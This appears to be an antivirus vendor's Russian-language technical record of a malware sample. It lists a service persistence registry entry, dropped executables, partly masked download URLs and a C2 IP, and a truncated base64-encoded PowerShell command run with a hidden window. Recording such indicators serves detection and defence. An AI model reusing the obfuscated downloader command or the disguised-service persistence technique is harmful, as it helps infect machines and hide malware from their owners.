Техническая информация
- [<HKLM>\System\CurrentControlSet\Services\httpapi] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\httpapi] 'ImagePath' = '"<SYSTEM32>\acledit\httpapi.exe"'
- 'httpapi' "<SYSTEM32>\acledit\httpapi.exe"
- 'httpapi' <SYSTEM32>\acledit\httpapi.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABJADYAMAByAF8AaABjAD0AKAAnAEgAJwArACgAJwBlAHYAJwArACcANQA2ADYAJwApACsAJwBuACcAKQA7ACYAKAAnAG4AJwArACcAZQAnACsAJwB3AC0AaQB0AGUAbQAnACkAIAAkAGUAbgBWADoAdABFAE0AcABcAHcAbwByAEQAXAAyADAAMQA5AF...
- %TEMP%\word\2019\pohaen.exe
- <SYSTEM32>\acledit\httpapi.exe
- %TEMP%\word\2019\pohaen.exe в <SYSTEM32>\acledit\httpapi.exe
- '82.##9.200.118':80
- http://sa####amos.com.br/PLcbM/4oxcev0320/
- http://82.##9.200.118/iQw2KVFfjY/
- DNS ASK sa####amos.com.br
- '%TEMP%\word\2019\pohaen.exe'
- '<SYSTEM32>\acledit\httpapi.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABJADYAMAByAF8AaABjAD0AKAAnAEgAJwArACgAJwBlAHYAJwArACcANQA2ADYAJwApACsAJwBuACcAKQA7ACYAKAAnAG4AJwArACcAZQAnACsAJwB3AC0AaQB0AGUAbQAnACkAIAAkAGUAbgBWADoAdABFAE0AcABcAHcAbwByAEQAXAAyADAAMQA5AF...' (со скрытым окном)